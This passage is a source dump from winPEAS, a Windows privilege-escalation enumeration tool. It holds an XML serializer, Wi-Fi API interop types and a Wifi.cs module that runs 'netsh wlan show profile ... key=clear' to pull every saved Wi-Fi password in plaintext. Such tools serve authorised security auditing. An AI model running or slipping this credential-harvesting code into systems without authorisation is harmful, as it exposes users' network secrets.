(pi.PropertyType.GetElementType() == typeof(object) || pi.PropertyType.GetElementType() == et)))\n                                try { pi.SetValue(obj, par, null); done = true; } catch { }\n                            if (!done)\n                            {\n                                var mi = pi.PropertyType.GetMethod(\"AddRange\", new Type[] { typeof(System.Collections.IEnumerable) });\n                                if (mi != null)\n                                    try { mi.Invoke(pi.GetValue(obj, null), new object[] { par }); done = true; } catch { }\n                            }\n                            if (!done)\n                            {\n                                var mi = pi.PropertyType.GetMethod(\"Add\", new Type[] { typeof(object) });\n                                if (mi != null)\n                                    try { foreach (var i in par) mi.Invoke(pi.GetValue(obj, null), new object[] { i }); done = true; } catch { }\n                            }\n                            if (!done && et != typeof(Object))\n                            {\n                                var mi = pi.PropertyType.GetMethod(\"Add\", new Type[] { et });\n                                if (mi != null)\n                                    try { foreach (var i in par) mi.Invoke(pi.GetValue(obj, null), new object[] { i }); done = true; } catch { }\n                            }\n                            // Throw error if not done\n                        }\n                    }\n                    else\n                    {\n                        object inst = pi.GetValue(obj, null) ?? Activator.CreateInstance(pi.PropertyType);\n                        if (inst == null)\n                            throw new InvalidOperationException($\"Can't get instance of {pi.PropertyType.Name}.\");\n                        ReadObject(reader, inst, handler);\n                    }\n                }\n                else\n                {\n                    reader.Skip();\n                    reader.MoveToContent();\n                }\n            }\n        }\n\n        public static void ReadObject([NotNull] XmlReader reader, [NotNull] object obj, PropertyConversionHandler handler = null)\n        {\n            if (obj == null)\n                throw new ArgumentNullException(nameof(obj));\n\n            reader.MoveToContent();\n\n            if (obj is IXmlSerializable)\n            {\n                ((IXmlSerializable)obj).ReadXml(reader);\n            }\n            else\n            {\n                object oVal = null;\n                string oName = GetAttributeValue(obj.GetType(), typeof(XmlRootAttribute), \"ElementName\", true, ref oVal) ? oVal.ToString() : obj.GetType().Name;\n                if (reader.LocalName != oName)\n                    throw new XmlException(\"XML element name does not match object.\");\n\n                if (!reader.IsEmptyElement)\n                {\n                    reader.ReadStartElement();\n                    reader.MoveToContent();\n                    ReadObjectProperties(reader, obj, handler);\n                    reader.ReadEndElement();\n                }\n                else\n                    reader.Skip();\n            }\n        }\n\n        public static void ReadObjectFromXmlText([NotNull] string xml, [NotNull] object obj, PropertyConversionHandler handler = null)\n        {\n            using (System.IO.StringReader sr = new System.IO.StringReader(xml))\n            {\n                using (XmlReader reader = XmlReader.Create(sr))\n                {\n                    reader.MoveToContent();\n                    ReadObject(reader, obj, handler);\n                }\n            }\n        }\n\n        public static string WriteObjectToXmlText([NotNull] object obj, PropertyConversionHandler handler = null)\n        {\n            StringBuilder sb = new StringBuilder();\n            using (XmlWriter writer = XmlWriter.Create(sb, new XmlWriterSettings() { Indent = true }))\n                WriteObject(writer, obj, handler, true);\n            return sb.ToString();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Wifi/NativeWifiApi/Enums.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Wifi.NativeWifiApi\n{\n    /// <summary>\n    /// Defines flags passed to <see cref=\"WlanGetAvailableNetworkList\"/>.\n    /// </summary>\n    [Flags]\n    public enum WlanGetAvailableNetworkFlags\n    {\n        /// <summary>\n        /// No additional flags\n        /// </summary>\n        None = 0,\n        /// <summary>\n        /// Include all ad-hoc network profiles in the available network list, including profiles that are not visible.\n        /// </summary>\n        IncludeAllAdhocProfiles = 0x00000001,\n        /// <summary>\n        /// Include all hidden network profiles in the available network list, including profiles that are not visible.\n        /// </summary>\n        IncludeAllManualHiddenProfiles = 0x00000002\n    }\n\n    [Flags]\n    public enum WlanProfileFlags\n    {\n        // When getting profiles, the absence of the \"User\" or \"GroupPolicy\" flags implies that the profile\n        // is an \"AllUser\" profile. This can also be viewed as having no flag -- hence \"None\" and \"AllUser\"\n        // are equivalent\n        None = 0,\n        AllUser = 0,\n        GroupPolicy = 1,\n        User = 2,\n        GetPlaintextKey = 4\n    }\n\n    /// <summary>\n    /// Defines the access mask of an all-user profile.\n    /// </summary>\n    [Flags]\n    public enum WlanAccess\n    {\n        /// <summary>\n        /// The user can view profile permissions.\n        /// </summary>\n        ReadAccess = 0x00020000 | 0x0001,\n        /// <summary>\n        /// The user has read access, and the user can also connect to and disconnect from a network using the profile.\n        /// </summary>\n        ExecuteAccess = ReadAccess | 0x0020,\n        /// <summary>\n        /// The user has execute access and the user can also modify and delete permissions associated with a profile.\n        /// </summary>\n        WriteAccess = ReadAccess | ExecuteAccess | 0x0002 | 0x00010000 | 0x00040000\n    }\n\n    /// <summary>\n    /// Specifies where the notification comes from.\n    /// </summary>\n    [Flags]\n    public enum WlanNotificationSource\n    {\n        None = 0,\n        /// <summary>\n        /// All notifications, including those generated by the 802.1X module.\n        /// </summary>\n        All = 0X0000FFFF,\n        /// <summary>\n        /// Notifications generated by the auto configuration module.\n        /// </summary>\n        ACM = 0X00000008,\n        /// <summary>\n        /// Notifications generated by MSM.\n        /// </summary>\n        MSM = 0X00000010,\n        /// <summary>\n        /// Notifications generated by the security module.\n        /// </summary>\n        Security = 0X00000020,\n        /// <summary>\n        /// Notifications generated by independent hardware vendors (IHV).\n        /// </summary>\n        IHV = 0X00000040\n    }\n\n    /// <summary>\n    /// Defines connection parameter flags.\n    /// </summary>\n    [Flags]\n    public enum WlanConnectionFlags\n    {\n        /// <summary>\n        /// Connect to the destination network even if the destination is a hidden network. A hidden network does not broadcast its SSID. Do not use this flag if the destination network is an ad-hoc network.\n        /// <para>If the profile specified by <see cref=\"WlanConnectionParameters.profile\"/> is not <c>null</c>, then this flag is ignored and the nonBroadcast profile element determines whether to connect to a hidden network.</para>\n        /// </summary>\n        HiddenNetwork = 0x00000001,\n        /// <summary>\n        /// Do not form an ad-hoc network. Only join an ad-hoc network if the network already exists. Do not use this flag if the destination network is an infrastructure network.\n        /// </summary>\n        AdhocJoinOnly = 0x00000002,\n        /// <summary>\n        /// Ignore the privacy bit when connecting to the network. Ignoring the privacy bit has the effect of ignoring whether packets are encryption and ignoring the method of encryption used. Only use this flag when connecting to an infrastructure network using a temporary profile.\n        /// </summary>\n        IgnorePrivacyBit = 0x00000004,\n        /// <summary>\n        /// Exempt EAPOL traffic from encryption and decryption. This flag is used when an application must send EAPOL traffic over an infrastructure network that uses Open authentication and WEP encryption. This flag must not be used to connect to networks that require 802.1X authentication. This flag is only valid when <see cref=\"WlanConnectionParameters.wlanConnectionMode\"/> is set to <see cref=\"WlanConnectionMode.TemporaryProfile\"/>. Avoid using this flag whenever possible.\n        /// </summary>\n        EapolPassthrough = 0x00000008\n    }\n\n\n    /// <summary>\n    /// Indicates the state of an interface.\n    /// </summary>\n    /// <remarks>\n    /// Corresponds to the native <c>WLAN_INTERFACE_STATE</c> type.\n    /// </remarks>\n    public enum WlanInterfaceState\n    {\n        /// <summary>\n        /// The interface is not ready to operate.\n        /// </summary>\n        NotReady = 0,\n        /// <summary>\n        /// The interface is connected to a network.\n        /// </summary>\n        Connected = 1,\n        /// <summary>\n        /// The interface is the first node in an ad hoc network. No peer has connected.\n        /// </summary>\n        AdHocNetworkFormed = 2,\n        /// <summary>\n        /// The interface is disconnecting from the current network.\n        /// </summary>\n        Disconnecting = 3,\n        /// <summary>\n        /// The interface is not connected to any network.\n        /// </summary>\n        Disconnected = 4,\n        /// <summary>\n        /// The interface is attempting to associate with a network.\n        /// </summary>\n        Associating = 5,\n        /// <summary>\n        /// Auto configuration is discovering the settings for the network.\n        /// </summary>\n        Discovering = 6,\n        /// <summary>\n        /// The interface is in the process of authenticating.\n        /// </summary>\n        Authenticating = 7\n    }\n\n\n    /// <summary>\n    /// Defines an 802.11 PHY and media type.\n    /// </summary>\n    /// <remarks>\n    /// Corresponds to the native <c>DOT11_PHY_TYPE</c> type.\n    /// </remarks>\n    public enum Dot11PhyType : uint\n    {\n        /// <summary>\n        /// Specifies an unknown or uninitialized PHY type.\n        /// </summary>\n        Unknown = 0,\n        /// <summary>\n        /// Specifies any PHY type.\n        /// </summary>\n        Any = Unknown,\n        /// <summary>\n        /// Specifies a frequency-hopping spread-spectrum (FHSS) PHY. Bluetooth devices can use FHSS or an adaptation of FHSS.\n        /// </summary>\n        FHSS = 1,\n        /// <summary>\n        /// Specifies a direct sequence spread spectrum (DSSS) PHY.\n        /// </summary>\n        DSSS = 2,\n        /// <summary>\n        /// Specifies an infrared (IR) baseband PHY.\n        /// </summary>\n        IrBaseband = 3,\n        /// <summary>\n        /// Specifies an orthogonal frequency division multiplexing (OFDM) PHY. 802.11a devices can use OFDM.\n        /// </summary>\n        OFDM = 4,\n        /// <summary>\n        /// Specifies a high-rate DSSS (HRDSSS) PHY.\n        /// </summary>\n        HRDSSS = 5,\n        /// <summary>\n        /// Specifies an extended rate PHY (ERP). 802.11g devices can use ERP.\n        /// </summary>\n        ERP = 6,\n        /// <summary>\n        /// Specifies the start of the range that is used to define PHY types that are developed by an independent hardware vendor (IHV).\n        /// </summary>\n        IHV_Start = 0x80000000,\n        /// <summary>\n        /// Specifies the end of the range that is used to define PHY types that are developed by an independent hardware vendor (IHV).\n        /// </summary>\n        IHV_End = 0xffffffff\n    }\n\n    /// <summary>\n    /// Defines a basic service set (BSS) network type.\n    /// </summary>\n    /// <remarks>\n    /// Corresponds to the native <c>DOT11_BSS_TYPE</c> type.\n    /// </remarks>\n    public enum Dot11BssType\n    {\n        /// <summary>\n        /// Specifies an infrastructure BSS network.\n        /// </summary>\n        Infrastructure = 1,\n        /// <summary>\n        /// Specifies an independent BSS (IBSS) network.\n        /// </summary>\n        Independent = 2,\n        /// <summary>\n        /// Specifies either infrastructure or IBSS network.\n        /// </summary>\n        Any = 3\n    }\n\n    /// <summary>\n    /// Defines the mode of connection.\n    /// </summary>\n    /// <remarks>\n    /// Corresponds to the native <c>WLAN_CONNECTION_MODE</c> type.\n    /// </remarks>\n    public enum WlanConnectionMode\n    {\n        /// <summary>\n        /// A profile will be used to make the connection.\n        /// </summary>\n        Profile = 0,\n        /// <summary>\n        /// A temporary profile will be used to make the connection.\n        /// </summary>\n        TemporaryProfile,\n        /// <summary>\n        /// Secure discovery will be used to make the connection.\n        /// </summary>\n        DiscoverySecure,\n        /// <summary>\n        /// Unsecure discovery will be used to make the connection.\n        /// </summary>\n        DiscoveryUnsecure,\n        /// <summary>\n        /// A connection will be made automatically, generally using a persistent profile.\n        /// </summary>\n        Auto,\n        /// <summary>\n        /// Not used.\n        /// </summary>\n        Invalid\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Wifi/NativeWifiApi/Interop.cs",
    "content": "﻿using System.ComponentModel;\nusing System.Diagnostics;\n\nnamespace winPEAS.Wifi.NativeWifiApi\n{\n    public static class Wlan\n    {\n        #region P/Invoke API\n\n        public const uint WLAN_CLIENT_VERSION_XP_SP2 = 1;\n        public const uint WLAN_CLIENT_VERSION_LONGHORN = 2;\n        public const uint WLAN_MAX_NAME_LENGTH = 256;\n\n\n\n        #endregion\n\n        /// <summary>\n        /// Helper method to wrap calls to Native WiFi API methods.\n        /// If the method falls, throws an exception containing the error code.\n        /// </summary>\n        /// <param name=\"win32ErrorCode\">The error code.</param>\n        [DebuggerStepThrough]\n        internal static void ThrowIfError(int win32ErrorCode)\n        {\n            if (win32ErrorCode != 0)\n                throw new Win32Exception(win32ErrorCode);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Wifi/NativeWifiApi/Structs.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.Wifi.NativeWifiApi\n{\n    /// <summary>\n    /// Contains information provided when registering for notifications.\n    /// </summary>\n    /// <remarks>\n    /// Corresponds to the native <c>WLAN_NOTIFICATION_DATA</c> type.\n    /// </remarks>\n    [StructLayout(LayoutKind.Sequential)]\n    public struct WlanNotificationData\n    {\n        /// <summary>\n        /// Specifies where the notification comes from.\n        /// </summary>\n        /// <remarks>\n        /// On Windows XP SP2, this field must be set to <see cref=\"WlanNotificationSource.None\"/>, <see cref=\"WlanNotificationSource.All\"/> or <see cref=\"WlanNotificationSource.ACM\"/>.\n        /// </remarks>\n        public WlanNotificationSource notificationSource;\n        /// <summary>\n        /// Indicates the type of notification. The value of this field indicates what type of associated data will be present in <see cref=\"dataPtr\"/>.\n        /// </summary>\n        public int notificationCode;\n        /// <summary>\n        /// Indicates which interface the notification is for.\n        /// </summary>\n        public Guid interfaceGuid;\n        /// <summary>\n        /// Specifies the size of <see cref=\"dataPtr\"/>, in bytes.\n        /// </summary>\n        public int dataSize;\n        /// <summary>\n        /// Pointer to additional data needed for the notification, as indicated by <see cref=\"notificationCode\"/>.\n        /// </summary>\n        public IntPtr dataPtr;\n    }\n\n    /// <summary>\n    /// Specifies the parameters used when using the <see cref=\"Wlan.WlanConnect\"/> function.\n    /// </summary>\n    /// <remarks>\n    /// Corresponds to the native <c>WLAN_CONNECTION_PARAMETERS</c> type.\n    /// </remarks>\n    [StructLayout(LayoutKind.Sequential)]\n    public struct WlanConnectionParameters\n    {\n        /// <summary>\n        /// Specifies the mode of connection.\n        /// </summary>\n        public WlanConnectionMode wlanConnectionMode;\n        /// <summary>\n        /// Specifies the profile being used for the connection.\n        /// The contents of the field depend on the <see cref=\"wlanConnectionMode\"/>:\n        /// <list type=\"table\">\n        /// <listheader>\n        /// <term>Value of <see cref=\"wlanConnectionMode\"/></term>\n        /// <description>Contents of the profile string</description>\n        /// </listheader>\n        /// <item>\n        /// <term><see cref=\"Wlan.WlanConnectionMode.Profile\"/></term>\n        /// <description>The name of the profile used for the connection.</description>\n        /// </item>\n        /// <item>\n        /// <term><see cref=\"Wlan.WlanConnectionMode.TemporaryProfile\"/></term>\n        /// <description>The XML representation of the profile used for the connection.</description>\n        /// </item>\n        /// <item>\n        /// <term><see cref=\"Wlan.WlanConnectionMode.DiscoverySecure\"/>, <see cref=\"Wlan.WlanConnectionMode.DiscoveryUnsecure\"/> or <see cref=\"Wlan.WlanConnectionMode.Auto\"/></term>\n        /// <description><c>null</c></description>\n        /// </item>\n        /// </list>\n        /// </summary>\n        [MarshalAs(UnmanagedType.LPWStr)]\n        public string profile;\n        /// <summary>\n        /// Pointer to a <see cref=\"Wlan.Dot11Ssid\"/> structure that specifies the SSID of the network to connect to.\n        /// This field is optional. When set to <c>null</c>, all SSIDs in the profile will be tried.\n        /// This field must not be <c>null</c> if <see cref=\"wlanConnectionMode\"/> is set to <see cref=\"Wlan.WlanConnectionMode.DiscoverySecure\"/> or <see cref=\"Wlan.WlanConnectionMode.DiscoveryUnsecure\"/>.\n        /// </summary>\n        public IntPtr dot11SsidPtr;\n        /// <summary>\n        /// Pointer to a <see cref=\"Dot11BssidList\"/> structure that contains the list of basic service set (BSS) identifiers desired for the connection.\n        /// </summary>\n        /// <remarks>\n        /// On Windows XP SP2, must be set to <c>null</c>.\n        /// </remarks>\n        public IntPtr desiredBssidListPtr;\n        /// <summary>\n        /// A <see cref=\"Wlan.Dot11BssType\"/> value that indicates the BSS type of the network. If a profile is provided, this BSS type must be the same as the one in the profile.\n        /// </summary>\n        public Dot11BssType dot11BssType;\n        /// <summary>\n        /// Specifies ocnnection parameters.\n        /// </summary>\n        /// <remarks>\n        /// On Windows XP SP2, must be set to 0.\n        /// </remarks>\n        public WlanConnectionFlags flags;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    internal struct WlanBssListHeader\n    {\n        internal uint totalSize;\n        internal uint numberOfItems;\n    }\n\n    /// <summary>\n    /// Contains information about a basic service set (BSS).\n    /// </summary>\n    [StructLayout(LayoutKind.Sequential)]\n    public struct WlanBssEntry\n    {\n        /// <summary>\n        /// Contains the SSID of the access point (AP) associated with the BSS.\n        /// </summary>\n        public Dot11Ssid dot11Ssid;\n        /// <summary>\n        /// The identifier of the PHY on which the AP is operating.\n        /// </summary>\n        public uint phyId;\n        /// <summary>\n        /// Contains the BSS identifier.\n        /// </summary>\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)]\n        public byte[] dot11Bssid;\n        /// <summary>\n        /// Specifies whether the network is infrastructure or ad hoc.\n        /// </summary>\n        public Dot11BssType dot11BssType;\n        public Dot11PhyType dot11BssPhyType;\n        /// <summary>\n        /// The received signal strength in dBm.\n        /// </summary>\n        public int rssi;\n        /// <summary>\n        /// The link quality reported by the driver. Ranges from 0-100.\n        /// </summary>\n        public uint linkQuality;\n        /// <summary>\n        /// If 802.11d is not implemented, the network interface card (NIC) must set this field to TRUE. If 802.11d is implemented (but not necessarily enabled), the NIC must set this field to TRUE if the BSS operation complies with the configured regulatory domain.\n        /// </summary>\n        public bool inRegDomain;\n        /// <summary>\n        /// Contains the beacon interval value from the beacon packet or probe response.\n        /// </summary>\n        public ushort beaconPeriod;\n        /// <summary>\n        /// The timestamp from the beacon packet or probe response.\n        /// </summary>\n        public ulong timestamp;\n        /// <summary>\n        /// The host timestamp value when the beacon or probe response is received.\n        /// </summary>\n        public ulong hostTimestamp;\n        /// <summary>\n        /// The capability value from the beacon packet or probe response.\n        /// </summary>\n        public ushort capabilityInformation;\n        /// <summary>\n        /// The frequency of the center channel, in kHz.\n        /// </summary>\n        public uint chCenterFrequency;\n        /// <summary>\n        /// Contains the set of data transfer rates supported by the BSS.\n        /// </summary>\n        public WlanRateSet wlanRateSet;\n        /// <summary>\n        /// Offset of the information element (IE) data blob.\n        /// </summary>\n        public uint ieOffset;\n        /// <summary>\n        /// Size of the IE data blob, in bytes.\n        /// </summary>\n        public uint ieSize;\n    }\n\n    /// <summary>\n    /// Contains the set of supported data rates.\n    /// </summary>\n    [StructLayout(LayoutKind.Sequential)]\n    public struct WlanRateSet\n    {\n        /// <summary>\n        /// The length, in bytes, of <see cref=\"rateSet\"/>.\n        /// </summary>\n        private uint rateSetLength;\n        /// <summary>\n        /// An array of supported data transfer rates.\n        /// If the rate is a basic rate, the first bit of the rate value is set to 1.\n        /// A basic rate is the data transfer rate that all stations in a basic service set (BSS) can use to receive frames from the wireless medium.\n        /// </summary>\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 126)]\n        private ushort[] rateSet;\n    }\n\n    /// <summary>\n    /// Contains the SSID of an interface.\n    /// </summary>\n    public struct Dot11Ssid\n    {\n        /// <summary>\n        /// The length, in bytes, of the <see cref=\"SSID\"/> array.\n        /// </summary>\n        public uint SSIDLength;\n        /// <summary>\n        /// The SSID.\n        /// </summary>\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]\n        public byte[] SSID;\n    }\n\n    /// <summary>\n    /// Contains information about a LAN interface.\n    /// </summary>\n    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n    public struct WlanInterfaceInfo\n    {\n        /// <summary>\n        /// The GUID of the interface.\n        /// </summary>\n        public Guid interfaceGuid;\n        /// <summary>\n        /// The description of the interface.\n        /// </summary>\n        [MarshalAs(UnmanagedType.ByValTStr, SizeConst = (int)Wlan.WLAN_MAX_NAME_LENGTH)]\n        public string interfaceDescription;\n        /// <summary>\n        /// The current state of the interface.\n        /// </summary>\n        public WlanInterfaceState isState;\n    }\n\n    /// <summary>\n    /// The header of the list returned by <see cref=\"Wlan.WlanEnumInterfaces\"/>.\n    /// </summary>\n    [StructLayout(LayoutKind.Sequential)]\n    internal struct WlanInterfaceInfoListHeader\n    {\n        public uint numberOfItems;\n        public uint index;\n    }\n\n    /// <summary>\n    /// The header of the list returned by <see cref=\"Wlan.WlanGetProfileList\"/>.\n    /// </summary>\n    [StructLayout(LayoutKind.Sequential)]\n    internal struct WlanProfileInfoListHeader\n    {\n        public uint numberOfItems;\n        public uint index;\n    }\n\n    /// <summary>\n    /// Contains basic information about a profile.\n    /// </summary>\n    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n    public struct WlanProfileInfo\n    {\n        /// <summary>\n        /// The name of the profile. This value may be the name of a domain if the profile is for provisioning. Profile names are case-sensitive.\n        /// </summary>\n        [MarshalAs(UnmanagedType.ByValTStr, SizeConst = (int)Wlan.WLAN_MAX_NAME_LENGTH)]\n        public string profileName;\n        /// <summary>\n        /// Profile flags.\n        /// </summary>\n        public WlanProfileFlags profileFlags;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Wifi/NativeWifiApi/WlanClient.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing winPEAS.Native;\n\nnamespace winPEAS.Wifi.NativeWifiApi\n{\n    internal class WlanClient\n    {\n        // c# net api: https://github.com/jorgebv/windows-wifi-api\n        // powershell: https://github.com/jcwalker/WiFiProfileManagement\n\n        public class WlanInterface\n        {\n            private WlanClient client;\n            private WlanInterfaceInfo info;\n\n            internal WlanInterface(WlanClient client, WlanInterfaceInfo info)\n            {\n                this.client = client;\n                this.info = info;\n            }\n\n            /// <summary>\n            /// Gets the profile's XML specification.\n            /// </summary>\n            /// <param name=\"profileName\">The name of the profile.</param>\n            /// <param name=\"unencryptedPassword\">Whether the password should be unencrypted in the returned XML. By default this is false and the password is left encrypted.</param>\n            /// <returns>The XML document.</returns>\n            public string GetProfileXml(string profileName, bool unencryptedPassword = true)\n            {\n                var flags = unencryptedPassword ? WlanProfileFlags.GetPlaintextKey : WlanProfileFlags.None;\n                Wlan.ThrowIfError(\n                    WlanApi.WlanGetProfile(\n                        client.clientHandle, info.interfaceGuid, profileName, IntPtr.Zero, out var profileXmlPtr, out flags, out _));\n\n                try\n                {\n                    return Marshal.PtrToStringUni(profileXmlPtr);\n                }\n                finally\n                {\n                    WlanApi.WlanFreeMemory(profileXmlPtr);\n                }\n            }\n\n            /// <summary>\n            /// Gets the information of all profiles on this interface.\n            /// </summary>\n            /// <returns>The profiles information.</returns>\n            public WlanProfileInfo[] GetProfiles()\n            {\n                Wlan.ThrowIfError(\n                    WlanApi.WlanGetProfileList(client.clientHandle, info.interfaceGuid, IntPtr.Zero, out var profileListPtr));\n                try\n                {\n                    var header =\n                        (WlanProfileInfoListHeader)Marshal.PtrToStructure(profileListPtr, typeof(WlanProfileInfoListHeader));\n                    WlanProfileInfo[] profileInfos = new WlanProfileInfo[header.numberOfItems];\n                    long profileListIterator = profileListPtr.ToInt64() + Marshal.SizeOf(header);\n\n                    for (int i = 0; i < header.numberOfItems; ++i)\n                    {\n                        WlanProfileInfo profileInfo =\n                            (WlanProfileInfo)Marshal.PtrToStructure(new IntPtr(profileListIterator), typeof(WlanProfileInfo));\n                        profileInfos[i] = profileInfo;\n                        profileListIterator += Marshal.SizeOf(profileInfo);\n                    }\n\n                    return profileInfos;\n                }\n                finally\n                {\n                    WlanApi.WlanFreeMemory(profileListPtr);\n                }\n            }\n        }\n\n        private IntPtr clientHandle;\n        private uint negotiatedVersion;\n\n        private Dictionary<Guid, WlanInterface> ifaces = new Dictionary<Guid, WlanInterface>();\n\n        public WlanClient()\n        {\n            Wlan.ThrowIfError(\n                WlanApi.WlanOpenHandle(\n                    Wlan.WLAN_CLIENT_VERSION_XP_SP2, IntPtr.Zero, out negotiatedVersion, out clientHandle));\n        }\n\n        ~WlanClient()\n        {\n            if (clientHandle != IntPtr.Zero)\n            {\n                WlanApi.WlanCloseHandle(clientHandle, IntPtr.Zero);\n            }\n        }\n\n        /// <summary>\n        /// Gets the WLAN interfaces.\n        /// </summary>\n        /// <value>The WLAN interfaces.</value>\n        public WlanInterface[] Interfaces\n        {\n            get\n            {\n                Wlan.ThrowIfError(\n                    WlanApi.WlanEnumInterfaces(\n                        clientHandle, IntPtr.Zero, out var ifaceList));\n\n                try\n                {\n                    var header = (WlanInterfaceInfoListHeader)Marshal.PtrToStructure(\n                        ifaceList,\n                        typeof(WlanInterfaceInfoListHeader));\n\n                    Int64 listIterator = ifaceList.ToInt64() + Marshal.SizeOf(header);\n                    WlanInterface[] interfaces = new WlanInterface[header.numberOfItems];\n                    List<Guid> currentIfaceGuids = new List<Guid>();\n\n                    for (int i = 0; i < header.numberOfItems; ++i)\n                    {\n                        var info =\n                            (WlanInterfaceInfo)Marshal.PtrToStructure(\n                                new IntPtr(listIterator),\n                                typeof(WlanInterfaceInfo));\n\n                        listIterator += Marshal.SizeOf(info);\n                        currentIfaceGuids.Add(info.interfaceGuid);\n\n                        var wlanIface = ifaces.ContainsKey(info.interfaceGuid) ?\n                            ifaces[info.interfaceGuid] :\n                            new WlanInterface(this, info);\n\n                        interfaces[i] = wlanIface;\n                        ifaces[info.interfaceGuid] = wlanIface;\n                    }\n\n                    // Remove stale interfaces\n                    var deadIfacesGuids = new Queue<Guid>();\n\n                    foreach (Guid ifaceGuid in ifaces.Keys)\n                    {\n                        if (!currentIfaceGuids.Contains(ifaceGuid))\n                            deadIfacesGuids.Enqueue(ifaceGuid);\n                    }\n\n                    while (deadIfacesGuids.Count != 0)\n                    {\n                        Guid deadIfaceGuid = deadIfacesGuids.Dequeue();\n                        ifaces.Remove(deadIfaceGuid);\n                    }\n\n                    return interfaces;\n                }\n                finally\n                {\n                    WlanApi.WlanFreeMemory(ifaceList);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Wifi/Wifi.cs",
    "content": "﻿using System.Collections.Generic;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Wifi\n{\n    internal class Wifi\n    {\n        public static Dictionary<string, string> Retrieve()\n        {\n            Dictionary<string, string> connections = new Dictionary<string, string>();\n            foreach (string ssid in GetSSIDs())\n            {\n                string password = GetPassword(ssid);\n                connections.Add(ssid, password);\n            }\n\n            return connections;\n        }\n\n        private static IEnumerable<string> GetSSIDs()\n        {\n            string args = \"wlan show profiles\";\n            string result = MyUtils.ExecCMD(args, \"netsh\");\n            Regex regex = new Regex(@\"\\s+:\\s+([^\\r\\n]+)\", RegexOptions.Multiline);\n            MatchCollection matches = regex.Matches(result);\n            List<string> ssids = new List<string>();\n\n            for (int i = 0; i < matches.Count; i++)\n            {\n                if (matches[i].Groups.Count > 0 && !string.IsNullOrWhiteSpace(matches[i].Groups[1].Value))\n                {\n                    ssids.Add(matches[i].Groups[1].Value);\n                }\n            }\n\n            return ssids;\n        }\n\n        private static string GetPassword(string ssid)\n        {\n            string args = $@\" wlan show profile name=\"\"{ssid}\"\" key=\"\"clear\"\"\";\n            string result = MyUtils.ExecCMD(args, \"netsh\");\n            Regex regex = new Regex(@\"Key Content\\s+:\\s+([^\\r\\n]+)\", RegexOptions.Multiline);\n            MatchCollection matches = regex.Matches(result);\n            string password = string.Empty;\n\n            if (matches.Count > 0 && matches[0].Groups.Count > 1)\n            {\n                password = matches[0].Groups[1].Value;\n            }\n\n            return password;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"AlphaFS\" version=\"2.2.6\" targetFramework=\"net452\" />\n  <package id=\"Costura.Fody\" version=\"5.7.0\" targetFramework=\"net48\" developmentDependency=\"true\" />\n  <package id=\"EntityFramework\" version=\"6.4.4\" targetFramework=\"net452\" />\n  <package id=\"Fody\" version=\"6.5.5\" targetFramework=\"net48\" developmentDependency=\"true\" />\n  <package id=\"Microsoft.Bcl.AsyncInterfaces\" version=\"9.0.1\" targetFramework=\"net48\" />\n  <package id=\"Microsoft.NETCore.Platforms\" version=\"1.1.0\" targetFramework=\"net48\" />\n  <package id=\"Microsoft.Win32.Primitives\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"NETStandard.Library\" version=\"1.6.1\" targetFramework=\"net48\" />\n  <package id=\"Portable.BouncyCastle\" version=\"1.9.0\" targetFramework=\"net48\" />\n  <package id=\"Stub.System.Data.SQLite.Core.NetFramework\" version=\"1.0.119.0\" targetFramework=\"net452\" />\n  <package id=\"System.AppContext\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Buffers\" version=\"4.5.1\" targetFramework=\"net48\" />\n  <package id=\"System.Collections\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Collections.Concurrent\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Console\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Data.SQLite\" version=\"1.0.119.0\" targetFramework=\"net452\" />\n  <package id=\"System.Data.SQLite.Core\" version=\"1.0.119.0\" targetFramework=\"net452\" />\n  <package id=\"System.Data.SQLite.EF6\" version=\"1.0.119.0\" targetFramework=\"net452\" />\n  <package id=\"System.Data.SQLite.Linq\" version=\"1.0.119.0\" targetFramework=\"net452\" />\n  <package id=\"System.Diagnostics.Debug\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Diagnostics.DiagnosticSource\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Diagnostics.Tools\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Diagnostics.Tracing\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Globalization\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Globalization.Calendars\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.IO\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.IO.Compression\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.IO.Compression.ZipFile\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.IO.FileSystem\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.IO.FileSystem.Primitives\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.IO.Pipelines\" version=\"9.0.1\" targetFramework=\"net48\" />\n  <package id=\"System.Linq\" version=\"4.3.0\" targetFramework=\"net48\" />\n  <package id=\"System.Linq.Expressions\" version=\"4.3.0\" 